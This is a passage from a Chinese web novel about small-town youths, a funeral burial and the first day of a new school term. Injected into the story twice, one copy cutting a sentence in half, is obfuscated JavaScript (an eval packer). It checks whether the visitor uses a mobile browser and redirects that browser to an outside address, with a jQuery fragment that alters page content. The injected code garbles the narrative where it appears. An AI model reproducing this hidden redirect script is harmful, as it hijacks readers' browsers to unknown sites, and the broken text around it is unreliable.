也就他们这群人把他当个天才,出去之后才发现,在外面,他引以为傲的本领,屁都不是。 “但画了两幅写生,你要看么?”骆远方点开手机相册,递给他。 是彩铅画。 一副日出的雪山,神圣高洁矗立于蓝天。另一副是日落下碎金海面上一跃而出的海豚,溅起的水花像蓝色钻石。 安城北看得出神。 骆远方看得出来安城北他们其实都不愿意一辈子待在这儿。 只是个人的选择和反抗不同罢了。 此时油花儿忽然一簇眉,僵在原地像是察觉到天人感应,等待天降大任。 再忽然,他把手机塞还骆远方,立马捂着肚子冲了进去,丢下一句。 “江湖救急,看看店!” 吃那么辣,窜稀了吧…… 骆远方觉得自己是闲着没事找事。 这个时间段来逛五元店的人不多。刚过完年,好不容易潇洒一回,家里的囤货还一大堆没消化。 骆远方靠在椅子上,将腿架在柜台边,看着门外的车流出神。 当他数到第二十三个红色轿车经过时,厕所里传来一声哀嚎。 他挣扎了两秒,揉着眉心耐着性子走到厕所边。 “掉坑里了?” “哥。”安城北把门拉开,骆远方下意识皱眉后退一步。 “帮我买个痔疮药行吗?我现在只能夹着屁股做人,动不了了。” “只有你能救我了哥!” 安城北四肢僵硬地越过骆远方,半死不活地躺倒在椅子上,呻.吟着向他伸出一只尔康手,“高~锰~酸~钾~” “你再吃两包泡鸡爪看能不能直接把痔疮拉出来。” 骆远方冷着脸去拿手机。 “不是痔疮!我年纪轻轻你别咒我!” 安城北哀嚎,“就是皮燕子裂了!太久没吃早饭,今天为了早点去找你吃了油饼和油茶。我这体质,一吃早饭就拉肚子,拉得还全他妈是硬通货……” “……闭嘴吧。你还真是林妹妹,早点都能害着你。” 出门之前骆远方犹豫了下,“店里真的没有吗?” 里面传来安城北虚弱的叫喊,“这是五元店,不是药店啊哥!” 过一个红绿灯就是一家名为“良心人大药房”的药店。 但卖的药却死贵。 良心大大的坏。 要不是骆远方不想为了两盒痔疮药纠缠,他能在良心人面前站到打五折。 “要多喝水,吃粗粮,按时涂药不能轻视了哈。” 一头卷发的阿姨一边装袋一边好奇地看他,叮嘱道:“定时拉屎很重要,不要太用力,五分钟以内拉不出……” “谢谢阿姨。” 骆远方都没等发票全部滚出来,拎着袋子就走。 但还是听见了良心阿姨在身后感叹:“年轻人还是要面子,走路一点症状都看不出来呢……” 在回去的路上,骆远方就决定好,一定要把在药店遭受的尴尬和屈辱如数奉还给安城北。 但令人痛心疾首的是,这家伙关于屎尿屁的容忍度远超想象。 安城北一边喝茶一边听他念叨,还时不时认真地点点头,最后就差感激地握他的手: “骆哥,你对我真的太好了!” 骆远方犹豫了下,说:“我出去的事就告诉你了,敢说出去,我当场把你摁地上,麻药都不打,给你做个痔疮手术。” “放心吧哥。” 安城北一脸无辜看着他,“但百度上说我这是肛裂,不是痔疮!” “百度上一般都搜出来的是绝症,看你太笨,度娘都不忍心下杀手。” 骆远方看着抓他的两只爪子。 “要我帮你涂药?” “啊不用不用,你要有事就先走吧,我可以自力更生了!” 安城北触电般缩回爪子。 至此,终于在不要脸较劲中败给了既不要脸也不打算要手的骆远方。 虽然没有真的帮安城北擦屁股,但心理作用下,骆远方总感觉被一股屎臭味萦绕。 路上见了狗屎都躲八竿子远,他觉得自己被这人弄得杯弓蛇影了都。 这个时段刚吃完午饭,大部分人都在家里待着没出门,街上人很少。 街边的草坪因为霜冻呈暗黄色,在阳光下闪烁几颗还未干透的露水,偶有两只通体漆黑的八哥,顶着鼻子上一撮黑毛在草地上寻寻觅觅。 “冷冷清清,凄凄惨惨戚戚。” 江蔚云环顾野山一周,不由地感慨。 “您有闲情雅致背诗,不如过来帮我把你妈给埋了。” 这句话怎么说怎么瘆人,郑策抖了抖鸡皮疙瘩。 她跪在外公外婆的坟前,作了两个揖后,念叨着莫怪莫怪,就在旁边挖了个小洞。 她们当然买不起坟地的铺位,只能让爸妈和外公外婆团聚了。 这里算偏远,城市化进程没开展过来,能住一段时日。 填完土坑,她又垒高了点,接着将买来的黄表纸一点点烧了。 黄表纸烧出来灰烬腾飞,浓烟呛人。 灰扑扑的的蘑菇云里,郑策似乎看见了房间里了无生机的三个人,还有她把江蔚云夹在胳膊下就往外逃的场景。 暗灰色纸屑被风卷起,随着黑烟旋转上升,透过这层烟雾,阳光都暗淡了几分。 一如她整理遗产,变卖房子,打包东西滚蛋那几天。 整个城市都是灰扑扑的,阳光像是假的一样。 “阿嚏。” 她打了个喷嚏,仰着头看着灰蒙蒙的太阳,眼角有些酸。 “慢点走。”她小声说。 这边靠近刚废弃不久的攀长钢厂,以前专用来冶金,如今落败,野猫野狗日夜出没。 在山上能看见厂子里的铁门上还有未完全褪色的对联,写着“吉祥如意百年顺”。 涪江在旁边安静地流过,水面是翡翠绿色,夹杂在青山间,沉默地倒影万物。 回去的路上江蔚云一直在活跃气氛,看见一丛油菜花田就大惊小怪要郑策给她合影留恋,瞅见铁红色攀长钢厂又怕又好好奇地想往里去探险。 她是大城市里养大的,从小没见过这些山山水水。 节假日里,所有人都争抢着去屁股大的一块花田打卡拍照,而这里的人身处万亩油菜花田却心无波澜。 因为这些花在他们眼里,是吃饭的家伙什。 她忽然想到一句话,说旅游就是去别人待腻的地方玩儿。 忽然间,一转头,就看见了一个土著拿着手持DV机,从坡下匆忙往上爬。 这土著还没看腻呢? “哈喽孙悟空。” 骆远方受伤的左爪举着,右手一撑,还算敏捷翻了上来,只是表情略显惊慌。 “怎么回回见你,都抡着金箍棒,大师兄要陪师父去取经?” 骆远方斜背着一个黑色小挎包,藏蓝色冲锋衣拉链拉到领口,在草坪上一杵,有点模特写真的范儿。 “二师兄角度如此刁钻爬上来……” 郑策双手揣裤兜里,走过去往下望了一眼,了然道: “二师兄被哮天犬撵了?背上背的什么呢?” 坡下一只黄狗吐着舌头看向他们,一看就是想交朋友的样子。她挑眉看向骆远方。 “炸药包,去炸碉堡要一起么?” 骆远方心虚地一扭头,将手里的DV放进包里。 郑策立马上上前一拦,“往哪儿看呢?告你侵犯隐私权啊。” 他看啥了?青天大老爷。 这时,草丛里低低传来一个声音,有些难为情。 “小姨妈,给我纸。” 骆远方觉得今天回去一定得拜拜,跨个火盆什么的。 怎么上哪儿都逃不过这味儿。 跟米田共较上劲了是吧。 郑策应了声,拍了拍衣兜,忽然一顿,又全身猛地拍打一遍。 骆远方看笑了,“大妈您这是早起锻炼来了啊?” “……有纸吗?” 郑策闭上眼睛两秒,深呼吸,此时竟然有种自己上厕所借纸的羞耻感。 “今儿要是没遇上我,你们俩就好玩了。” 骆远方丢给她一包纸巾。 虽然米已成粥,但是郑策还想解释一下,“小孩子,憋不住……” 把纸递给江蔚云再回来时,她看见骆远方还在抖,郑策无奈道:“至于嘛,你小时候没拉□□里过?” “没,噗——” 骆远方一开口就破功,捂着嘴索性大笑起来,郑策瞪了他两眼,也跟着小声笑。 “小声点,给她些面子。” 今天来埋骨灰盒,郑策心里像包了一层又一层油纸,闷得慌,此时跟个傻子一样笑人拉屎,竟也出奇的痛快。 但痛快了没两秒,骆远方变脸如翻书,“昨天有人在,我没和你说。” 郑策看着他。 “虽然小镇的人都不像你开口闭口就是法律和权利的,但也不至于拿把刀到处晃悠。这样下去,吸引到不该惹的人的注意力,你就算拿一箱子的刀都无济于事。” 这是在提醒她呢。 郑策沉默了会儿,嗯了一声。 “还有呢。” 骆远方拍拍她肩膀,“我们两家的购房合同虽然有瑕疵,但昨天你也妥协了。我不希望再看到你拿着骨灰盒上门去骚扰我的家人。” 骆远方看着她,话说得很重,但语气不激进,目光沉沉。 原来还是为了这件事,怕她临时反水,想趁早把她这颗炸弹给清除了呗。 难怪每个人一直在劝她能走就走。 郑策哼笑一声,扭过头去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812338|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你笑什么?”骆远方皱眉看着她。 风轻扬起她额前碎发,若隐若现的瞳子望着远山,他看不真切郑策的心情。 “还以为你……” 她轻嘲一声,“算了,和那些人也没什么区别。” 把钱看得比命重的韩忠夏,当扒手能差点闹出凶杀案的小男生,混不出头直接去坑老乡放高利贷的单眼皮,还有把她当成回来抢遗产的骆远方…… 郑策心里像坠了颗铁,直直往下沉。她转身就要走。 手腕却忽然被一股不容推拒的力道拉住。 “大城市回来的,素质也不过如此。” 骆远方看了眼还在努力的江蔚云,出口依旧不客气。 “小镇上的规矩不是单用什么条文和水果刀就能打破的。你也别一副高高在上的模样。” 郑策正要挣脱,他倏地放手,先一步跳下土坡,自嘲道: “我什么样的人你不知道?不是还喜欢过我么?” 喜欢过? 脑子里忽然响起巨大的电流声,掩盖所有的喧嚣和嘈杂。 郑策僵在原地,皱着眉头。 刚才所有的释然和欢快都像是转瞬即逝的错觉。 直到她看见骆远方的背影逐渐缩小为一小块儿,像是纸张上误触的一处墨点。 再一会儿,这墨点也被擦除痕迹,仿佛从没来过。 说实话,遇见骆远方之后,她虽没把他当做救星,但好歹是这座城市难得属于她和过去的联系。还是不那么糟糕那种。 所以她才会在金店前直接说出那些话。 她想试试。 能不能抓住。 幻影在指缝间流走,企图被骆远方轻飘飘一句话打破。她终于不情愿地从自我营造的幻境中脱离出来。 这么多年了,江蔚云都从一团肉变得能跑能跳,什么都该变了。 她曾经是喜欢么? 说重些不过是依赖罢了。 而对象都不是眼前这个轻佻又没礼貌的人。 脚下的攀长钢此时也爬上猩红铁锈,满院都是去年飘落的落叶无人打扫。足够上演一出鬼片。 她想,看见的景色果然是随着心情变化的。 连绵的山都隐退在雾色之后,看不清连接处,越发像一座铁锁的牢笼,禁锢住工厂烟囱里白烟升腾。 江蔚云总算收拾好了过来时,嘴里还是叽叽喳喳不停。 问刚才的人是不是骆远方,说自己脸是不是丢完了,说早上在姨妈家看见那金佛了,但是没告诉他们,是不是很坏。 郑策想起骆远方的揶揄。 -大城市回来的素质也不过如此。 她看了眼江蔚云,又看了眼手里的纸巾,吞吐道:“你……要不要,去捡起来丢垃圾桶?” “小姨妈!我求你,放过我吧。” 江蔚云面露难色,“我还想牵你的手呢。” 我不要面子的嘛! 郑策浑身汗毛都立起来了,不再提。 到了街上,晒太阳的人也慢慢悠悠从房子里晃了出来。 十字路口偶尔会站着几个头戴一言难尽五彩绒毛帽,身穿军绿大衣,裹着白色围巾的人或斜倚在路灯边,或双手揣兜坐在摩托上,只露出一双眼睛观察来人。 每个人身上都挂着一个牌子,上头写着刮大白,配管,水钻电工,乳胶漆,各种技多不压身。 一路上,她继续嗯嗯啊啊应付着江蔚云这个话痨,但脑子里却始终是骆远方这个王八蛋转身前丢下的最后一句话: -我是什么样的人你不知道? -不是还喜欢过我么? 小时候因为俩人名字一样,自然有意无意间会分给对方更多的注意力。 之后一来二去在街上捡了几回受伤的骆远方,两人之间比起别人更多了一些说不上来的亲近。 有人说年少时喜欢一个人,连作业本放在一起,都会感受到心跳加速。 她却只记得骆远方成绩很差。所以自己考得无论多糟糕,看见上面另一个郑策的卷子画着零鸭蛋,自己都会偷偷松一口气。 这个男生也不在意,日子过得比谁都潇洒。 渐渐的,她在他面前没了防备,更确切的说是摘下了伪装——伪装成好孩子的那层面具。 她离开前对他告白,没要一个结果,权当做少女成长的纪念。 而这场心事只有两个人知道。 现在回想起来,那也许算不上喜欢,只是在急流中偶遇到的避风港,更像不流于世俗的依托。 纯粹,不含杂质的依赖和想要靠近。 是他告诉她考差了也没关系,最差就重来一次;挨打了也没关系,等着伤口愈合又是一条好汉;做错事了也没关系,顶多也不会要了他的命…… 但之前那个告诉她什么都没关系的人,现在警告她不要威胁自己的家人,不要试图改变小镇的规矩。 因为陷进来了就逃不出去了。 郑策想起回来第一次遇见骆远方时,他身上凌冽的山林气,还有眉宇间的疤痕和戾气。 他到底经历了什么。 “这个社会的戾气太重,都是被逼出来的!” 安城北躺在椅子上对着电话干嚎。 “说个狗屁的自愿补课,不就是学人高三提前开学嘛!这他妈还听说是何仙姑提议的,因为班里新来的人多,得拉长战线。我谢谢她大舅姥爷!” “什么时候开学?”骆远方问。 “后天啊!”安城北持续哭丧,忽然闭了嘴,激动道: “骆哥,昨天何仙姑来家访,你知道我在她资料册里看见谁了吗?来店里抢劫那个女孩儿!就是她说的Z大退学的学霸!” “嗯。” 骆远方没心情陪他演,毕竟刚对学霸放了一通狠话。 啧。 怎么就没憋住呢? 还想问问她住宿的问题来着。 难道怪别人揶揄你和其他人一样堕落在这里么? 你又有什么优越感? 难道不是么骆远方? 你又能爬的多高,这双脚始终都陷在泥里。 “嗯?” 安城北迟钝了下,对他冷冰冰的态度都习惯了,继续无差别炮击。 “卧槽,这些学霸怎么不去清北班啊,来大火箭下基层么!妈的,班里的打死都不学习的生态看着就要被这些外头回来的牲口给破坏了。” 他忽然换上贱嗖嗖的语气,“若是敌军炮轰我方摆烂阵地,骆哥你是否能挺住不沦陷?” 骆远方冷冷道:“上回何仙姑来家访给我留的作业都还没做。” 因为他为了重新补习之前落下的科目,把高一高二的内容又自学了一遍。 当然没时间。 你骆哥不需要别人潜移默化,已经沦陷啦! 但他不想告诉电话里的大喇叭。 说出去必然被当成月球撞地球的新闻来播报。 “够意思,我寒假作业本都不知道丢哪儿了。” 安城北满意道,“诶,不过班里一直有帮扶机制,一对一凑对儿,我们都固定好了对象……卧槽,你不会是新学霸帮扶的那个吧?!” 骆远方这才回过神来。 我,日。 冤家路窄啊。 “除了这个傻逼帮扶机制,你们不会还保留着传统同桌制吧?”骆远方问。 “那倒没有。” 安城北说,“何仙姑在这方面还挺开明,不仅预防男女之情,还预防男男,女女。” 他笑了声,“哼,我他妈可能看得上班里那群二货么?” ……倒也算是另一种程度上的开明吧。 骆远方提着的心放了回去。 他可不想跟郑策尴尬地大眼瞪小眼。 安城北又忽然说:“但是帮扶机制,就是你们会绑定在一起。” 骆远方刚放下,还没坐稳的心又瞬间悬起。 “……你讲清楚点儿。” 10. 她心情怎么样 具体“绑定”是什么意思,被安城北阐述得意味不明,暧昧不清,若即若离又难舍难分。 骆远方不想和他纠缠,作业是真的还没做。兵来将挡水来土掩吧。 但是他们嘴里的学霸本霸当然也没有被何仙姑放过。 柯言给郑策发了几套针对性基础卷子,让她趁着寒假慢慢重新适应高中生活。 一开学就加上班主任微信,怎么不算幸福呢? 可是高考完一下子松懈的劲儿不是这么容易找回来的。 人人都说自己这辈子知识储备量高峰就在高考那天。6月9号一过,就像一个人度过了人生黄金时期,面部肌肉不再紧绷,开始不受控地松弛下去。 智力也是一个道理。 郑策在大学松弛了半学期,智商松垮度堪比耄耋老人。 还要在这个不到一周的伪寒假做几套试卷,根本不可能。 于是她把电子版打印下来后,开启一顿骚操作。 “小姨妈,你既然要照着抄答案,为什么不在打印的时候一起打出来,还方便些?” 江蔚云没明白她的脑回路,看着郑策黑笔红笔并用,有对有错地描摹试卷,表示不理解。 “我在检验标准答案标不标准,你不懂。” 郑策心虚又一脸正义地把江蔚云探过来的头给摁回去。 “快睡吧,明天我得早起了。” 江蔚云被她油墨味儿的手给挡了回去,又练了会儿字,自己趿拉着拖鞋,翻身滚上床,裹紧被子闭眼前还看了眼奋笔疾书的郑策。 造孽啊…… 她再睁开眼时,还是严阵以待的小姨妈在书桌前欣赏自己的杰作。 一时有些恍惚。 “醒了?我把你秋衣秋裤都放被窝里暖着,现在差不多可以穿了。” 郑策拍了拍手,“我去上学你要听……算了,你是我见过最听话的小孩儿。注意安全,不要乱跑啊!” 江蔚云伸出小手揉了揉眼睛,还十分茫然地嘟着的嘴慢慢张大,打了哈欠。 她小姨妈已经出门了。 路上,墙壁阳面的三角梅开了个早春,烟紫色瀑布挂满白灰院墙,热烈又美艳。 身边人群来来往往,郑策分辨不出谁是九中的学生,只是庆幸似乎没有校服,还能节省不小一笔开支。 报道什么的程序性手续在过年期间,就已经被工作狂柯言给搞定了。她只需要直接去九班上课就好。 一开始身边还有挺多同龄人并肩同行,但越接近校门口,她诡异地发现所有人都在躲着她。 因为柯言介绍了几个打架圣地,她对这里的学生有股莫名的抵触心理。 今天还特意凹成了不好惹的模样,但不过是大部分学生都会干的: 比如不顾家人劝阻老了会出毛病,挽起裤脚,露出抗冻的脚踝;比如给她六个耳洞都带上银色小钉;再比如半阖着眼睛,看谁都一副没睡醒的样子。 没想到效果出奇的好。 直到有个女生为了避让她没注意脚下,差点在开学当天摔个狗吃屎。 郑策才粗神经地反应过来不对劲。 转头一看,一个高大的人影亦步亦趋不知道跟了自己多远的路。 原来她是狐假虎威了啊。 宋乐洋还是警察局初见时的打扮。 深蓝色牛仔裤,黑色棉衣,鸭舌帽压得很低,吊儿郎当的模样跟在她身后。 见她转身,犹豫着晃了晃手里的早餐。 和他这一身痞气格格不入的,郑策在他眼里看见一丝慌乱和讨好。 她走过去。 “你……来干什么的?” 宋乐洋抿着唇将手里豆浆和包子递给她,又在手机上敲敲打打: 第一天开学,看看你。 郑策接过包子,香味儿随着热气扑鼻,是上回那家店。 “谢谢。”她犹豫了下说,“舅,你……是做什么工作的?” 宋乐洋倒是爽快回答: 自由职业,什么都干。 自由职业? 自由打手么? 她又问:“你对我这么好,是因为……我妈吗?” 宋乐洋看着郑策沉默了会儿,点了点头,写道: 不想被特殊对待,就把黑袖带藏好。 你感冒了? “没有,前天去烧纸,灰大,鼻炎有点犯了。” 郑策揉了揉鼻子,“袖带我知道,已经藏好了……” 她离得近了,才看见鸭舌帽下宋乐洋眉骨一上一下两颗闪烁的光点。 难怪都躲着他,带个鸭舌帽也挡不住这blingbling的眉骨钉啊。 “舅,你这儿还……”她指了指自己眉毛。 * “阿西吧!谁英语做完了,江湖救急啊!” 九班教室,人还没到齐,已经哀鸿遍野,死伤惨重。 “卧槽卧槽卧槽卧槽卧槽卧槽卧槽……” 有人在伸长脖子求援,还有人嘴里不停槽,手上笔如飞,快写出残影了都。 “卧槽卧槽卧槽卧槽,写不完了卧槽!” “shit!物理什么时候布置的这本练习册?” 有人心率接近不齐一屁股坐回座位,马上就能横着抬出教室。 “八嘎呀路,我跟这些狗日的小练习册拼了!” 还有人可以出门左拐直接进精神病院。 郑策脚步顿在门口,抬眼看了下班级标牌,确认自己没走到什么留学生的教室。 还是素质不太行那种。 她不由地在心里感慨了下,还真是鱼龙混杂,齐聚各国人才呐。 前天也许在烟尘里泡太久,今天鼻炎来势汹汹,眼睛痒得不行,喷嚏一个接一个,根本控制不住。 于是,她本想悄悄从后门进,却在踏进去的瞬间打了个惊天无敌炸雷闪电霹雳大喷嚏。 整个教室都安静了。 几十双眼睛齐刷刷惊恐地看向她。 她一个喷嚏把时间流动给冻结。 坐在座位上的女生保持着一手拿镜子,一手理刘海的动作,过道上几个模拟投篮的男生双手举起,跟投降一样。 她微笑着向所有目光点点头,这种时候做自我介绍也太傻逼了,她径直走向最后一排靠窗的空座位。 她这种段位,还是等老师来介绍吧。 她座位旁边有个凸出去的小阳台放扫把和拖布,后面就是一个巨大的深蓝色圆柱形垃圾桶。 还挺方便的,方便做卫生。 在郑策走进教室十秒后,教室里窸窸窣窣又响起讨论声,像菜市场一样,吵闹,但一句话也听不清。 有些烦躁,郑策知道这些人正在逼逼自己。 “那个,你这个座位抽屉里有只死老鼠,你要不换旁边去吧?” 前面的女生转头提醒她。 “原本是第一排的桌子,没人敢摸,就直接换了一下。” “谢谢。” 郑策点点头,往四周扫视了一圈。 当然所有人的注意力都还停留在她这儿。 因为鼻炎,她眼睛痒得睁不开,丢过去的眼神像是要屠尽天下不良人的样子。 没人敢说话。 “卧槽。” 她弯腰看了眼抽屉里的尸体。 啧啧啧,死无全尸的小老鼠。 再起身,所有人都把眼睛瞪大两倍看着她。 跟集体去技术不太行的美容院剌了两刀似的。 郑策怀疑自己不是爆了句粗口,而是不小心说了句我要果奔啊直播吃屎啊之类丧尽天良的话。 “怎么了?” 她问前面的女孩。 也许这个班有什么毛病? 前排的女孩儿耸耸肩,“一群康熙时期的古董呆子,没见过女孩儿爆粗口呗。” 郑策对她笑了笑,又道谢: “谢谢啊。” 她把书包放座位上,出了教室。 甚至能感受到在她还没走远的时候,教室里忽然爆发的一阵骚动。 新学期,开学情况还不错。 除了被当成猴看之外。 “林歌,你胆子不小啊,她眉毛上,耳朵上都是钉子的,一看不是个好相处的。” 刚提醒郑策的女孩的前桌转过来凑热闹。 “寒假的时候何仙姑说了一嘴有新同学,没想到这个样子也能进大火箭。” “大火箭是什么样子的人上的?” 林歌将自己桌上的海报一张张捋好,不在意地问。 但她还没说完,教室里气氛又默契地紧张起来。 郑策应该从保洁阿姨那儿借了手套和消毒液,拿着一巨型黑色塑料袋回来。 套着手套伸进抽屉里,将耗子包出来直接丢进垃圾桶,再面无表情一阵喷洒,打包垃圾袋。 全程无视旁边的眼神。 收拾干净刚坐下来,前排女孩儿又转过身来,笑眯眯对她说:“我叫林歌,谢谢你之前晚上帮我赶走混混,没想到我们是同学诶!” “郑策。” 郑策一看见她就想起来了自己被带去警察局那晚。林歌长得很漂亮,空气刘海丸子头,见一次就很难忘那种。 “新来的复读生。” 林歌依旧是甜甜地朝她笑道:“你要是有什么问题,随时戳我就行。” “现在就有个问题。”郑策看了眼四周喧闹的人群。 “不是提前开学么?怎么他们跟中了八百万奖一样?” “嗐,今年一直传言大年初三就要上学,能挨到现在,捡便宜了嘛不是!” 林歌一本正经说,“高三的都上了两周的课了已经,我们知足常乐。” 这他妈是被洗脑成功了吧…… 哪里有便宜? 你们的燃点在哪里? “这一路我没看见高三的呢?” 郑策憋着这个问题很久了,高三年级诡异得像是蒸发了一样。 林歌神秘兮兮地朝上指了指,“高三在山上……我们以后也要……两耳不闻……事一心……圣贤书。就在宿舍区往里走,有座旱桥,过了桥……山上……高三校区。” 林歌这一句话的功夫,学校旁边比邻而建的铁道上飞驰而过两辆动车,天上低空飞行过一架飞机。 那效果绝了。 震耳欲聋。 林歌见她一脸茫然,笑了笑,“老师们也经常骂学校的地理位置,挨着铁路,又在机场起飞降落的航线上,习惯就好了。” 这真要习惯,得失聪吧? 郑策叹了口气趴在桌上。 教室里的窗帘是天蓝色,开着窗户,风吹帘动,阳光顺着缝隙铺在桌面上。鼻尖是粉笔和洗衣粉的味道,还有谁在偷偷吃辣条。 她侧过头看了眼踩着桌凳打扫卫生的人,吵闹着抢作业本抄答案的人,还有靠近走廊窗户偷玩手机的人。 才一时恍惚。 高中生涯又开始了。 熟悉的紧张的又喧闹的青春。 这个年纪的学生喜欢穿帆布鞋,挽起裤脚露出脚腕,男生张口就给人当爹,女生对着镜子防止脖子前倾挤出双下巴来端详。 一切年轻又喧闹,同时傻逼且纯澈。 只是靠走廊窗边玩手机的男生有些一言难尽的蠢。 郑策认出他的时候,瞬间就闭上眼睛缓了三秒。 她“抢劫”那家小卖部的傻儿子。 傻儿子玩手机掩饰技术很高超,耳机线从袖子里穿过,一手假装扶额遮住耳朵。 一脸淡漠,但手上动作十分激.情。 身边还有几个或站或半跪在椅子上目不转睛看着的亲友团。 “点这儿点这儿!” 安城北扭了下肩膀:“别碰我!” “碰你咋了,你是gay吗?碰你一下就要嫁给我?” 虽然班内吵闹,但这劲爆且可以无限起哄的话题还是让全班停下手里的动作一秒,朝他们这边“哇哦”了声。 “哇什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812339|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么呢,hellogays,作业做完没有啊?” 前门忽然探进一个农村包围城市发型的小老头。 他本意是打声招呼,结果这应景的一句神回复,让全班愣是笑了三分钟没收住。 沙老师跟着笑了下,以为自己受欢迎程度如此高,心满意足地离开了。 “傻小子们,记得教英语作业啊!” “滚呐,要看就看,别瞎逼逼。” 安城北动作熟练地把手机从抽屉里拿出来,继续激.情操作。 情到深处还低低哀嚎:“操啊,这傻逼在干什么!” “淦,对方是偷玩账号的幼儿园小朋友吧!” 几个人玩得正陶醉,丝毫没有注意到窗外弯腰负手津津有味看着他打游戏的男老师。 同样一脸人赃并获的激动。 “我们班已经比其他班落后了!还在玩游戏呢!” 老师忽然一声吼。 声如洪钟,气贯长虹,伴随着铃声的响起,整个九班地板都抖了三抖。 安城北手一抖,手机掉在地上,他却不敢捡。 这才刚开学,落得哪门子的后啊! 但被洗脑的群众们已经被震慑住了。 而最靠近他的安城北双眼一瞪,僵了两秒,一动不动。 “明目张胆就在窗户下面玩,当过路的老师都是瞎的吗?” “吴老师。柯老师还没来,手机还没收。” 安城北双眼瞪得饱含泪水,仰头望过去,声泪俱下。 “快收起来滚回你座位,遇见巡楼的领导,扣分表上一划,你们柯老师这个月的工资又要少五十。” “保证完成任务!” 安城北麻利地一收耳机线,正要往郑策这边走过来,门口一晃而过一个人影。 他凭借自己狗鼻子一样的雷达,脚尖一转,跟了出去。 “物理课代表,把作业收一下,第二节课下课抱过来。” 这位吴老师虽然裹了层棉衣,但麦色皮肤和他这嗓门,给人一看就不是好惹的。 这边安城北溜进楼道,没看到人影,靠在栏杆上给骆远方发了条消息。 城北徐公:【到了没,爹爹来接你啦!】 过了两秒,骆远方的名字由对方正在输入,变成对方正在说话。 他火速撤回消息,重新编辑: 【到了没,儿子来接你啦!】 那个农民:【楼下。】 城北徐公:【来啦~~】 骆远方皱眉看着这两根妖娆的波浪线,想起猪八戒撞天婚的情节,几个仙女儿一声声的“来啦~~”。 不由得抖了抖鸡皮疙瘩。 虽然早有心理准备要和郑策遇见,虽然本来要问人愿不愿意来自己家里住,但他前天在山上没过脑子的警告,还是让自己很头疼。 永远年轻,永远冲动,永远给自己刨坑。 骆远方靠在墙边,感觉自己像个瘟鸡,见不得人的样子。 “骆哥,怎么不上去?” 安城北立在一楼楼梯上看他。 “哎我给你说,那个抢劫我的女生就在咱班呢,是个狠人,徒手拿耗子!我真是开了眼了!” “你骂她是狗?”骆远方觑了他一眼。 “不是。” 安城北兴奋劲儿还没过,直接无视他的冷脸,“就是字面意思,她刚徒手拿了死耗子。” “哦。” 骆远方对这不关心,试探着问了句:“她……看起来心情怎么样?” 是好是坏,先让他这个未来伪同桌做个心理准备。 安城北:“嗯?” 骆远方一字一顿:“我问你,她看起来高兴还是不高兴啊文盲。” “她看起来像是来挑事的,一副要吃人的样子。” 安城北顿了顿,忽然癫痫犯了一样拉住骆远方胳膊, “不是吧……骆哥,你怕她?” * “胆子肥了是吧,整栋楼,就你们班最吵!” 柯言虽晚但到,皱着眉站在讲台上一脸不爽环顾四周。 “谁在教室吃鸡蛋了,哎哟臭死了,靠窗的同学把窗户打开!” 郑策刚听见铃声后坐得笔直,结果被告知是预备铃,趴下来没一会儿,又被柯言这嗓子给吼得差点蹦起来敬礼。 心脏愣是被她给从嗓子眼儿给咽了回去。 但再抬头看见柯言的时候,她怀疑自己老花了。 寒假遇见的柯言不说多么时尚,起码保持着年轻人的爽朗和干练。 而这会儿站讲台上的女人,戴一副酒红方框窄框眼镜,黑色皮鞋搭配尼龙肉色隐形袜,两手往兜一揣,谁都不爱。 郑策闭上眼睛,晃了晃头,再睁开。 还是这么个玩意儿顶着柯言的脸站在讲台上。 紧接着,这个玩意儿吹了吹小蜜蜂话筒。 “呼。提前说一下啊,这学期班里要来两位复读生,你们对人家友好点。” “特别是新来的女孩儿,人去年物理竞赛全省第一,半条腿儿都迈进Z大门槛了,愣是不服气,要回来冲刺更高学府,冲这心气,你们就得向人学习……” 郑策面无表情:您要不环顾一下当事人在不在场,再考虑要不要撒这个谎呢? 柯言此时才用她老鹰一样犀利的眼神,从方框眼镜下挨个扫视。 终于。 目光落在最后一排的郑策身上。 “呼。” 她又重新打开小蜜蜂,吹了下。 下巴朝郑策抬了抬。 “最后排那个社会人士找谁啊?帽子摘下来!就你,眉骨钉,耳骨钉一个不落那位!” 全班默契地侧让身子,在柯言和政策之间留下视线通道,起哄道: “全省第一啊!” 郑策单手扶额,垂着头。躲无处躲。她在想自己旁边这位怎么还没来!起码能分担一半的火力。 现在把眉骨上粘的两个钉子扣下来,还来得及么? 11. 为什么对她这么好? “郑……郑策?” 柯言的声音有些拐弯儿,对第一回见着是文静朴素小姑娘,第二回再见成了精神小妹的她,有些难以置信。 “老师好,我成绩没您说的那么好,还是实事求是的好。” 郑策坐在座位上,向她点点头。 “行吧,你既然已经到了,上来自我介绍一下吧。” 柯言让到讲台左侧,刚才所有声嘶力竭的人现在都乖巧地坐在座位上,等着看她。 逃不过的,眼睛一闭一睁就过去了。 郑策起身,她才忽然楞了下。 这教室可谓没有同桌胜似有同桌,四面八方的距离都差不多近。 过道里全堆着一摞摞的练习册和教材,简直无从下脚。 从最后一排到第一排的距离,郑策像是打地道战一样,同时防备着碰倒每个人桌上摇摇欲坠的书堡,走得十分艰难。 黑板有四块,中间两块可以拉开,里面是个电子屏。郑策总算穿越火线拿了粉笔在最右边写上自己大名。 此时,教室外面一声巨喝:“oi!哪个班的还在楼梯上晃!扣你们班主任的工资!” 骆远方和安城北正要上楼,就被无处不在的教导主任逮了个正着。 